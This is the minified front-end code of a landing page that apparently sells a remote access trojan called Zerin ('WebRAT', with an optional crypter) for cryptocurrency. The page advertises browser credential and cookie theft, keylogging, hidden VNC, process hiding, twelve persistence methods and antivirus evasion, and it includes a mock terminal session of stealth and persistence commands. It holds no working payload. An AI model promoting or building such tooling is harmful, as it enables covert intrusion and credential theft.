2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],nA=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function $s({value:e,label:t,suffix:n="",prefix:r=""}){const i=m.useRef(null),s=m.useRef(null);return m.useEffect(()=>{const o=i.current,l=s.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const p=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=p,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),a.jsxs("div",{ref:i,className:"text-center",children:[a.jsxs("div",{ref:s,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),a.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const rA=m.memo(function({name:t,delay:n}){return a.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[a.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),a.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[a.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),iA=m.memo(function({feature:t,index:n}){return a.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[a.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),a.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),a.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),a.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),a.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function aA(){const e=eA("Adversary Simulation. Red Team Operations.",45,600),[t,n]=m.useState(!1),[r,i]=m.useState(null),[s,o]=m.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=m.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);m.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=m.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[a.jsx(J_,{}),s&&a.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[a.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[a.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),a.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),a.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),a.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),a.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[a.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),a.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),a.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),a.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",a.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),a.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xt,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),a.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx(xt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),a.jsx(xt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),a.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),a.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),a.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[a.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),a.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),a.jsx("div",{className:"h-8 mb-8",children:a.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[a.jsx("span",{ref:e.spanRef}),a.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),a.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),a.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[a.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[a.jsx("span",{className:"relative z-10",children:"Get Access"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),a.jsx(xt,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),a.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),a.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),a.jsx("section",{className:"relative z-10 py-28 px-6",children:a.jsxs("div",{className:"max-w-5xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-14",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",a.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),a.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),a.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[a.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[a.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),a.jsxs("div",{children:[a.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),a.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),a.jsxs("div",{className:"text-right",children:[a.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),a.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),a.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),a.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),a.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:nA.map((u,d)=>a.jsx(rA,{name:u,delay:d*60},u))})]}),a.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>a.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[a.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:a.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),a.jsxs("div",{children:[a.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),a.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:a.jsx("div",{className:"max-w-5xl mx-auto",children:a.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[a.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),a.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),a.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[a.jsxs("div",{children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... ",a.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",a.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",a.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",a.jsx("span",{className:"text-zerin-accent",children:"active"})]}),a.jsxs("div",{className:"mt-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",a.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",a.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),a.jsxs("div",{className:"mt-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:a.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),a.jsxs("div",{children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),a.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>a.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),a.jsx("section",{className:"relative z-10 py-24 px-6",children:a.jsxs("div",{className:"max-w-6xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-16",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),a.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:tA.map((u,d)=>a.jsx(iA,{feature:u,index:d},u.tag))})]})}),a.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:a.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[a.jsx($s,{value:256,suffix:"-bit",label:"Encryption"}),a.jsx($s,{value:12,suffix:"",label:"Persist Methods"}),a.jsx($s,{value:100,suffix:"%",label:"C2 Uptime"}),a.jsx($s,{value:0,suffix:"",label:"Disk Artifacts"}),a.jsx($s,{value:48,suffix:"",label:"Modules"})]})}),a.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:a.jsxs("div",{className:"max-w-6xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-16",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),a.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),a.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[a.jsx("div",{className:"group relative",children:a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),a.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),a.jsxs("div",{className:"px-6 pt-6 pb-4",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),a.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[a.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),a.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5",children:a.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:a.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),a.jsxs("div",{className:"group relative",children:[a.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),a.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),a.jsxs("div",{className:"px-6 pt-6 pb-4",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),a.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[a.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),a.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),a.jsx("div",{className:"font-mono text-[10px] 